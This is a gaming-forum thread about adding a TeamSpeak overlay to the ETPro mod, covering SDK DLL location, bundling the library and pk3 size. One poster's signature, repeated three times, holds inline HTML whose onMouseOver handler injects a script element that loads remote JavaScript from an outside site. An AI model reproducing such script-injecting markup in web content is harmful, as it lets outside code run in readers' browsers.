TeamSpeak Overlay

Discussion about specific ET servers

Moderators: Forum moderators, developers

User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

TeamSpeak ships with an SDK (although it's in Delphi, calling it from C wouldn't be that hard) which allows a very basic interface to a running TeamSpeak client. I've been thinking about whipping up some kind of integration, a) but I've been lazy, and b) finding the location of the SDK DLL may be difficult.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Phats
Posts: 6
Joined: Thu Nov 04, 2004 3:12 am
Location: UK
Contact:

Post by Phats »

the sdk comes with every client install and is in a folder within the ts program directory. I believe there was a problem with the initial TSRemote.dll and a newer version is available on their forum www.goteamspeak.com (that said this might now ship with the latest client installs).
User avatar
ouroboro
Posts: 662
Joined: Mon Jul 26, 2004 6:52 pm

Post by ouroboro »

Rain wrote:TeamSpeak ships with an SDK (although it's in Delphi, calling it from C wouldn't be that hard) which allows a very basic interface to a running TeamSpeak client. I've been thinking about whipping up some kind of integration, a) but I've been lazy, and b) finding the location of the SDK DLL may be difficult.
and i was already hot for you over fix-gamma.exe... if you integrate ts into et i may spontaneously combust!
Please direct all gameplay-changing feature requests here.
User avatar
zinx
Posts: 267
Joined: Fri Jan 16, 2004 12:37 pm
Location: US
Contact:

Post by zinx »

Phats wrote:the sdk comes with every client install and is in a folder within the ts program directory. I believe there was a problem with the initial TSRemote.dll and a newer version is available on their forum www.goteamspeak.com (that said this might now ship with the latest client installs).
The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.
Zinx Verituse http://zinx.xmms.org/
User avatar
Spoofeh
Posts: 296
Joined: Sat Jul 26, 2003 4:50 am

Post by Spoofeh »

I think you could leave that problem to the users, just add a cvar that the user has to set to point to the dll/so or something. :)
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

zinx wrote: The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.
My impression was they expect you to ship the DLL with your ap. So perhaps it could just go in the etpro zip.
send lawyers, guns and money
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

SCDS_reyalP wrote:
zinx wrote: The problem isn't finding it for coding purposes, the problem is finding it on client machines - the dlls aren't stored in a predictable location, at least on Linux.
My impression was they expect you to ship the DLL with your ap. So perhaps it could just go in the etpro zip.
Maybe... It's kind of large for that, though. :?
The pk3 size is a big concern for us.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
>>steven!
Posts: 645
Joined: Mon Jul 12, 2004 4:00 am
Location: Merseyside, UK
Contact:

Post by >>steven! »

teamspeak blows; ventrilo > *

ps. why would u want an overlay ???, can u not recognize ur clanm8s voices. this feature would be useful if u where new to a team, but how long would u actually need it for , 2-3 hrs?
UK Elite Guard
#ukeg on Quakenet
www.ukeliteguard.co.uk
Est. Jan 2002
User avatar
Threshold
Posts: 293
Joined: Tue Dec 16, 2003 5:14 pm

Post by Threshold »

I think you should be able to sync ETPRO and Vent together and when someone talks they light up on the fireteam... :) I wish.
User avatar
Deus
Posts: 1053
Joined: Fri Mar 12, 2004 2:24 am
Location: Germany
Contact:

Post by Deus »

Rain wrote: Maybe... It's kind of large for that, though. :?
The pk3 size is a big concern for us.
I can provide a download mirror for etpro.zip if u need one
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

Rain wrote: Maybe... It's kind of large for that, though. :?
The pk3 size is a big concern for us.
Hmm, the windows dll is only 96 k, ~50 compressed.
send lawyers, guns and money
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

<pre> compressed uncompressed ratio uncompressed_name<br> 97588 207512 53.0% libTSRemote.so.0.4</pre>
Although 145kb isn't terribly large, it's a significant (~8%) increase in the overall pk3 size. The size concern isn't for the etpro install .zip, but rather for the pk3 being transferred from the server to clients.

We could require you to copy the SDK DSO to the right place by hand, though, I suppose...
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
User avatar
SnowWhite
Posts: 22
Joined: Wed Dec 08, 2004 7:15 am
Location: Sweden

Post by SnowWhite »

Rain wrote:We could require you to copy the SDK DSO to the right place by hand, though, I suppose...
in linux, should be enuff to only require a soft symlink at the "right" place...
User avatar
Fusen
Posts: 264
Joined: Wed Feb 11, 2004 8:00 pm
Contact:

Post by Fusen »

huzzah, so it'll be finished for 3.2.0? good.
________
herbalaire review
Last edited by Fusen on Fri Feb 04, 2011 11:32 am, edited 1 time in total.
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

>>steven! wrote:teamspeak blows; ventrilo > *
no linux ventrilo, so no etpro-ventrilo.

you want etpro-ventrilo? get them to do a linux client.
Post Reply